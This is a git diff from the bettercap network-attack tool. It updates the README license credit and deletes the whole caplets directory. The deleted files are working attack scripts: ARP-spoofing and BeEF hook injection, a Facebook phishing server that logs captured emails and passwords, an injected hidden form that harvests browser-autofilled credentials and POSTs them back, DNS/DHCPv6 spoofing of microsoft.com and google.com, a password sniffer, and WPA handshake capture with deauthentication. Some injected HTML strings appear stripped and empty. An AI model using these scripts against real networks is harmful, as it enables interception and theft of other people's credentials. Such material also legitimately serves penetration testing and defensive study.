diff --git a/README.md b/README.md index f0df3133..ca7ca33a 100644 --- a/README.md +++ b/README.md @@ -374,4 +374,4 @@ clear ## License -`bettercap` and `bettercap` are made with ♥ by [Simone Margaritelli](https://www.evilsocket.net/) and they're released under the GPL 3 license. +`bettercap` is made with ♥ by [the dev team](https://github.com/orgs/bettercap/people) and it's released under the GPL 3 license. diff --git a/caplets/airodump.cap b/caplets/airodump.cap deleted file mode 100644 index c613d52a..00000000 --- a/caplets/airodump.cap +++ /dev/null @@ -1,14 +0,0 @@ -# let's add some api :D -include caplets/rest-api.cap - -set $ {by}{fw}{env.iface.name}{reset} {bold}» {reset} -set ticker.commands clear; wifi.show - -# uncomment to disable channel hopping -# set wifi.recon.channel 1 - -wifi.recon on -ticker on -events.clear -clear - diff --git a/caplets/ap-config.cap b/caplets/ap-config.cap deleted file mode 100644 index 4e2836a7..00000000 --- a/caplets/ap-config.cap +++ /dev/null @@ -1,3 +0,0 @@ -set api.rest.username changeme -set api.rest.password changeme -set api.rest.address 0.0.0.0 diff --git a/caplets/ap.cap b/caplets/ap.cap deleted file mode 100644 index d356b5e1..00000000 --- a/caplets/ap.cap +++ /dev/null @@ -1,14 +0,0 @@ -include caplets/ap-config.cap - -set net.sniff.local true -set net.sniff.verbose false -set net.sniff.filter not arp and not udp port 53 - -events.stream off -events.clear - -set events.stream.filter endpoint. -events.stream on - -api.rest on -net.sniff on diff --git a/caplets/beef-active.cap b/caplets/beef-active.cap deleted file mode 100644 index afb3a2cb..00000000 --- a/caplets/beef-active.cap +++ /dev/null @@ -1,19 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet caplets/beef-active.cap -eval "set arp.spoof.targets 192.168.1.64" - -# inject beef hook -set http.proxy.script caplets/beef-inject.js -# redirect http traffic to a proxy -http.proxy on -# wait for everything to start properly -sleep 1 - -# make sure probing is off as it conflicts with arp spoofing -arp.spoof on - - - - - - diff --git a/caplets/beef-inject.js b/caplets/beef-inject.js deleted file mode 100644 index 58dbd6f3..00000000 --- a/caplets/beef-inject.js +++ /dev/null @@ -1,16 +0,0 @@ -function onLoad() { - log( "BeefInject loaded." ); - log("targets: " + env['arp.spoof.targets']); -} - -function onResponse(req, res) { - if( res.ContentType.indexOf('text/html') == 0 ){ - var body = res.ReadBody(); - if( body.indexOf('') != -1 ) { - res.Body = body.replace( - '', - '' - ); - } - } -} diff --git a/caplets/beef-passive.cap b/caplets/beef-passive.cap deleted file mode 100644 index 35e97dcd..00000000 --- a/caplets/beef-passive.cap +++ /dev/null @@ -1,13 +0,0 @@ -# inject beef hook -set http.proxy.script caplets/beef-inject.js -# redirect http traffic to a proxy -http.proxy on -# wait for everything to start properly -sleep 1 -active - - - - - - diff --git a/caplets/fb-phish.cap b/caplets/fb-phish.cap deleted file mode 100644 index a45bfa5d..00000000 --- a/caplets/fb-phish.cap +++ /dev/null @@ -1,7 +0,0 @@ -set http.server.address 0.0.0.0 -set http.server.path caplets/www/www.facebook.com/ - -set http.proxy.script caplets/fb-phish.js - -http.proxy on -http.server on diff --git a/caplets/fb-phish.js b/caplets/fb-phish.js deleted file mode 100644 index 1a1734b0..00000000 --- a/caplets/fb-phish.js +++ /dev/null @@ -1,23 +0,0 @@ -var RESET = "\033[0m"; - -function R(s) { - return "\033[31m" + s + RESET; -} - -function B(s) { - return "\033[34m" + s + RESET; -} - -function onRequest(req, res) { - if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) { - var form = req.ParseForm(); - var email = form["email"] || "?", - pass = form["pass"] || "?"; - - log( R(req.Client), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" ); - - res.Status = 301; - res.Headers = "Location: https://www.facebook.com/\n" + - "Connection: close"; - } -} diff --git a/caplets/http-req-dump.cap b/caplets/http-req-dump.cap deleted file mode 100644 index 5085efa7..00000000 --- a/caplets/http-req-dump.cap +++ /dev/null @@ -1,27 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64" - -# to make it less verbose -# events.stream off - -# discover a few hosts -net.probe on -sleep 1 -net.probe off - -# uncomment to enable sniffing too -# set net.sniff.verbose false -# set net.sniff.local true -# set net.sniff.filter tcp port 443 -# net.sniff on - -# we'll use this proxy script to dump requests -set https.proxy.script caplets/http-req-dump.js -set http.proxy.script caplets/http-req-dump.js -clear - -# go ^_^ -http.proxy on -https.proxy on -arp.spoof on diff --git a/caplets/http-req-dump.js b/caplets/http-req-dump.js deleted file mode 100644 index 7579d78a..00000000 --- a/caplets/http-req-dump.js +++ /dev/null @@ -1,140 +0,0 @@ -var RESET = "\033[0m"; - -function R(s) { - return "\033[31m" + s + RESET; -} - -function G(s) { - return "\033[32m" + s + RESET; -} - -function B(s) { - return "\033[34m" + s + RESET; -} - -function Y(s) { - return "\033[33m" + s + RESET; -} - -function DIM(s) { - return "\033[2m" + s + RESET; -} - -function BOLD(s) { - return "\033[1m" + s + RESET; -} - -function dumpHeaders(req) { - log( "> " + BOLD(G("Headers")) ); - for( var i = 0; i < req.Headers.length; i++ ) { - var header = req.Headers[i]; - log( " " + B(header.Name) + " : " + DIM(header.Value) ); - } -} - -function dumpPlain(req) { - log( " > " + BOLD(G("Text")) ); - - var body = req.ReadBody(); - - log( " " + Y(body) ); -} - -function dumpForm(req) { - log( " > " + BOLD(G("Form")) ); - - var form = req.ParseForm(); - for( var key in form ) { - log( " " + B(key) + " : " + Y(form[key]) ); - } -} - -function dumpJSON(req) { - log( " > " + BOLD(G("JSON")) ); - - var body = req.ReadBody(); - - // TODO: pretty print json - log( " " + Y(body) ); -} - -function pad(num, size, fill) { - var s = ""+num; - - while( s.length < size ) { - s = fill + s; - } - - return s; -} - -function toHex(n) { - var hex = "0123456789abcdef"; - var h = hex[(0xF0 & n) >> 4] + hex[0x0F & n]; - return pad(h, 2, '0'); -} - -function isPrint(c){ - if( !c ) { return false; } - var code = c.charCodeAt(0); - return ( code > 31 ) && ( code < 127 ); -} - -function dumpHex(raw, linePad) { - var DataSize = raw.length; - var Bytes = 16; - - for( var address = 0; address < DataSize; address++ ) { - var saddr = pad(address, 8, '0'); - var shex = ''; - var sprint = ''; - - var end = address + Bytes; - for( var i = address; i < end; i++ ) { - if( i < DataSize ) { - shex += toHex(raw.charCodeAt(i)) + ' '; - sprint += isPrint(raw[i]) ? raw[i] : '.'; - } else { - shex += ' '; - sprint += ' '; - } - } - - address = end; - - log( linePad + G(saddr) + ' ' + shex + ' ' + sprint ); - } -} - -function dumpRaw(req) { - var body = req.ReadBody(); - - log( " > " + BOLD(G("Body")) + " " + DIM("("+body.length + " bytes)") + "\n" ); - - dumpHex(body, " "); -} - -function onRequest(req, res) { - log( BOLD(req.Client), " > ", B(req.Method), " " + req.Hostname + req.Path + ( req.Query ? "?" + req.Query : '') ); - - dumpHeaders(req); - - if( req.ContentType ) { - log(); - - if( req.ContentType.indexOf("text/plain") != -1 ) { - dumpPlain(req); - } - else if( req.ContentType.indexOf("application/x-www-form-urlencoded") != -1 ) { - dumpForm(req); - } - else if( req.ContentType.indexOf("application/json") != -1 ) { - dumpJSON(req); - } - else { - dumpRaw(req); - } - } - - log(); -} diff --git a/caplets/local-sniffer.cap b/caplets/local-sniffer.cap deleted file mode 100644 index c9c82b19..00000000 --- a/caplets/local-sniffer.cap +++ /dev/null @@ -1,11 +0,0 @@ -#events.stream off -events.clear -# set events.stream.filter net.sniff -# events.stream on - -set net.sniff.verbose false -set net.sniff.local true -# https://biot.com/capstats/bpf.html -# set net.sniff.filter not arp and not udp port 53 - -net.sniff on diff --git a/caplets/login-man-abuse.cap b/caplets/login-man-abuse.cap deleted file mode 100644 index eefbc6b1..00000000 --- a/caplets/login-man-abuse.cap +++ /dev/null @@ -1,12 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet caplets/login-man-abuse.cap -eval "set arp.spoof.targets 192.168.1.53" - -set http.proxy.script caplets/login-man-abuse.js -http.proxy on -sleep 1 -arp.spoof on - - - - diff --git a/caplets/login-man-abuse.js b/caplets/login-man-abuse.js deleted file mode 100644 index 0884df0c..00000000 --- a/caplets/login-man-abuse.js +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Ref. - * - https://github.com/evilsocket/bettercap-proxy-modules/issues/72 - * - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/ - * - * The idea: - * - * - On every html page, inject this invisible form who grabs credentials from login managers. - * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request. - * - Intercept request, dump credentials, drop client to 404. - */ -var AbuserJavascript = ""; - -function onLoad() { - // log( "Loading abuser code from caplets/login-man-abuser.js" ); - AbuserJavascript = readFile("caplets/login-man-abuser.js") -} - -// here we intercept the ajax POST request with leaked credentials. -function onRequest(req, res) { - if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) { - log( "[LOGIN MANAGER ABUSER]\n", req.ReadBody() ); - // this was just a fake request we needed to exfiltrate - // credentials to us, drop the connection with an empty 200. - res.Status = 200; - res.ContentType = "text/html"; - res.Headers = "Connection: close"; - res.Body = ""; - } -} - -// inject the javascript in html pages -function onResponse(req, res) { - if( res.ContentType.indexOf('text/html') == 0 ){ - var body = res.ReadBody(); - if( body.indexOf('') != -1 ) { - res.Body = body.replace( - '', - '' + - '' - ); - } - } -} diff --git a/caplets/login-man-abuser.js b/caplets/login-man-abuser.js deleted file mode 100644 index e4d329bd..00000000 --- a/caplets/login-man-abuser.js +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Ref. - * - https://github.com/evilsocket/bettercap-proxy-modules/issues/72 - * - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/ - * - * The idea: - * - * - On every html page, inject this invisible form who grabs credentials from login managers. - * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, well intercept this request. - * - Intercept request, dump credentials, drop client to 404. - */ -var AbuserJavascript = -var injectForm = function(visible) { -var container = document.createElement("div"); -if (!visible){ -container.style.display = "none"; -} -var form = document.createElement("form"); -form.attributes.autocomplete = "on"; -var emailInput = document.createElement("input"); -emailInput.attributes.vcard_name = "vCard.Email"; -emailInput.id = "email"; -emailInput.type = "email"; -emailInput.name = "email"; -form.appendChild(emailInput); -var passwordInput = document.createElement("input"); -passwordInput.id = "password"; -passwordInput.type = "password"; -passwordInput.name = "password"; -form.appendChild(passwordInput); -container.appendChild(form); -document.body.appendChild(container); -}; - -var doPOST = function(data) { -var xhr = new XMLHttpRequest(); - -xhr.open("POST", "/login-man-abuser"); -xhr.setRequestHeader("Content-Type", "application/json"); -xhr.onload = function() { -console.log("Enjoy your coffee!"); -}; - -xhr.send(JSON.stringify(data)); -}; - -var sniffInputField = function(fieldId){ -var inputElement = document.getElementById(fieldId); -if (inputElement.value.length){ -return {fieldId: inputElement.value}; -} -window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms -}; - -var sniffInputFields = function(){ -var inputs = document.getElementsByTagName("input"); -data = {}; -for (var i = 0; i < inputs.length; i++) { -console.log("Will try to sniff element with id: " + inputs[i].id); -output = stringsniffInputField(inputs[i].id); -data = Object.assign({}, data, output); -} -doPOST(data); -}; - -var sniffFormInfo = function(visible) { -injectForm(visible); -sniffInputFields(); -}; - -sniffFormInfo(false);; diff --git a/caplets/mitm6.cap b/caplets/mitm6.cap deleted file mode 100644 index a77d349c..00000000 --- a/caplets/mitm6.cap +++ /dev/null @@ -1,20 +0,0 @@ -# let's spoof Microsoft and Google ^_^ -set dns.spoof.domains microsoft.com, google.com -set dhcp6.spoof.domains microsoft.com, google.com - -# every request http request to the spoofed hosts will come to us -# let's give em some contents -set http.server.path caplets/www - -# serve files -http.server on -# redirect DNS request by spoofing DHCPv6 packets -dhcp6.spoof on -# send spoofed DNS replies ^_^ -dns.spoof on - -# set a custom prompt for ipv6 -set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset} -# clear the events buffer and the screen -events.clear -clear diff --git a/caplets/netmon.cap b/caplets/netmon.cap deleted file mode 100644 index 6938ce74..00000000 --- a/caplets/netmon.cap +++ /dev/null @@ -1,3 +0,0 @@ -net.probe on -clear -ticker on diff --git a/caplets/proxy-script-test.cap b/caplets/proxy-script-test.cap deleted file mode 100644 index e3fcccf3..00000000 --- a/caplets/proxy-script-test.cap +++ /dev/null @@ -1,2 +0,0 @@ -set http.proxy.script caplets/proxy-script-test.js -http.proxy on diff --git a/caplets/proxy-script-test.js b/caplets/proxy-script-test.js deleted file mode 100644 index a3dc453e..00000000 --- a/caplets/proxy-script-test.js +++ /dev/null @@ -1,39 +0,0 @@ -// called when script is loaded -function onLoad() { - console.log( "PROXY SCRIPT LOADED" ); -} - -// called before a request is proxied -function onRequest(req, res) { - if( req.Path == "/test-page" ){ - res.Status = 200; - res.ContentType = "text/html"; - res.Headers = "Server: bettercap\r\n" + - "Connection: close"; - res.Body = "" + - "" + - "Test Page" + - "" + - "" + - "
Hello world from bettercap!
" + - "" + - ""; - } -} - -// called after a request is proxied and there's a response -function onResponse(req, res) { - if( res.Status == 404 ){ - res.ContentType = "text/html"; - res.Headers = "Server: bettercap\r\n" + - "Connection: close"; - res.Body = "" + - "" + - "Test 404 Page" + - "" + - "" + - "
Custom 404 from bettercap.
" + - "" + - ""; - } -} diff --git a/caplets/recon-active.cap b/caplets/recon-active.cap deleted file mode 100644 index 7cc12956..00000000 --- a/caplets/recon-active.cap +++ /dev/null @@ -1,4 +0,0 @@ -net.probe on -sleep 5 -net.show -quit diff --git a/caplets/recon-passive.cap b/caplets/recon-passive.cap deleted file mode 100644 index de98445d..00000000 --- a/caplets/recon-passive.cap +++ /dev/null @@ -1,3 +0,0 @@ -sleep 1 -net.show -quit diff --git a/caplets/rest-api.cap b/caplets/rest-api.cap deleted file mode 100644 index 0bf65603..00000000 --- a/caplets/rest-api.cap +++ /dev/null @@ -1,8 +0,0 @@ -# change these! -set api.rest.username bcap -set api.rest.password bcap -# set api.rest.port 8082 - -net.probe on -api.rest on - diff --git a/caplets/simple-passwords-sniffer.cap b/caplets/simple-passwords-sniffer.cap deleted file mode 100644 index 3a207f5b..00000000 --- a/caplets/simple-passwords-sniffer.cap +++ /dev/null @@ -1,10 +0,0 @@ -set net.sniff.regexp .*password=.+ -set net.sniff.output passwords.cap - -# start arp spoofing attack -# arp.spoof on -net.sniff on - - - - diff --git a/caplets/stsoy.cap b/caplets/stsoy.cap deleted file mode 100644 index 8bbf4f31..00000000 --- a/caplets/stsoy.cap +++ /dev/null @@ -1,26 +0,0 @@ -# let's spoof Microsoft and Google ^_^ -set dns.spoof.domains microsoft.com, google.com -set dhcp6.spoof.domains microsoft.com, google.com -# and let's inject a beef hook into everything else ^_^ -set http.proxy.script caplets/beef-inject.js - -# every http request to the spoofed hosts will come to us -# let's give em some contents -set http.server.path caplets/www - -# serve files -http.server on -# redirect DNS request by spoofing DHCPv6 packets -dhcp6.spoof on -# send spoofed DNS replies ^_^ -dns.spoof on -# just in case U.U' -arp.spoof on -# enable proxy -http.proxy on - -# clear the events buffer and the screen -events.clear -clear - - diff --git a/caplets/test-prompt-stats.cap b/caplets/test-prompt-stats.cap deleted file mode 100644 index 1b6a8486..00000000 --- a/caplets/test-prompt-stats.cap +++ /dev/null @@ -1 +0,0 @@ -set $ {by}{fb}SENT:{fw}{net.sent.human} {fb}RECV:{fw}{net.received.human} {fb}PKTS:{fw}{net.packets} {r}ERR:{net.errors}{reset} {bold}» {reset} diff --git a/caplets/web-override.cap b/caplets/web-override.cap deleted file mode 100644 index 3236fe2b..00000000 --- a/caplets/web-override.cap +++ /dev/null @@ -1,14 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet caplets/web-override.cap -eval "set arp.spoof.targets 192.168.1.64" - -set http.proxy.script caplets/web-override.js -http.proxy on -arp.spoof on -events.clear - - - - - - diff --git a/caplets/web-override.js b/caplets/web-override.js deleted file mode 100644 index 4d5de11b..00000000 --- a/caplets/web-override.js +++ /dev/null @@ -1,8 +0,0 @@ -// Called before every request is executed, just override the response with -// our own html web page. -function onRequest(req, res) { - res.Status = 200; - res.ContentType = "text/html"; - res.Headers = "Connection: close"; - res.Body = readFile("caplets/www/index.html"); -} diff --git a/caplets/wpa_handshake.cap b/caplets/wpa_handshake.cap deleted file mode 100644 index f20b9371..00000000 --- a/caplets/wpa_handshake.cap +++ /dev/null @@ -1,42 +0,0 @@ -# swag prompt for wifi -set $ {by}{fw}{env.iface.name}{reset} {bold}» {reset} - -# Sniff EAPOL frames ( WPA handshakes ) and save them to a pcap file. -set net.sniff.verbose true -set net.sniff.filter ether proto 0x888e -set net.sniff.output wpa.pcap -net.sniff on - -# since we need to capture the handshake, we can't hop -# through channels but we need to stick to the one we're -# interested in otherwise the sniffer might lose packets. -set wifi.recon.channel 1 - -# this will enable the wifi recon -set ticker.commands clear; wifi.show -wifi.recon on -ticker on - -# uncomment to recon clients of a specific AP given its BSSID -# wifi.recon DE:AD:BE:EF:DE:AD - -events.clear -clear - -# now just deauth clients and wait ^_^ -# -# Example: -# -# wifi.deauth AP-BSSID-HERE -# -# This will deauth every client for this specific access point, -# you can put it as ticker.commands to have the ticker module -# periodically deauth clients, or: -# -# wifi.deauth CLIENT-BSSID-HERE -# -# This will only deauth a signle client from its access point. -# -# For more options `help wifi.recon`. - - diff --git a/caplets/www/.gitignore b/caplets/www/.gitignore deleted file mode 100644 index 27bad818..00000000 --- a/caplets/www/.gitignore +++ /dev/null @@ -1 +0,0 @@ -www.facebook.com diff --git a/caplets/www/Makefile b/caplets/www/Makefile deleted file mode 100644 index 0322bf73..00000000 --- a/caplets/www/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -all: facebook - -facebook: - wget -U "Mozilla/5.0 (Windows NT 5.2; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" -S -r www.facebook.com - find www.facebook.com -name "*.html" -print0 | xargs -0 sed -i "s/https:\/\/www.facebook.com//g" - -clean: - rm -rf www.facebook.com - diff --git a/caplets/www/index.html b/caplets/www/index.html deleted file mode 100644 index 7dccb061..00000000 --- a/caplets/www/index.html +++ /dev/null @@ -1,17 +0,0 @@ - - - - - You've just been RickRoll'd - - - - - - - - - -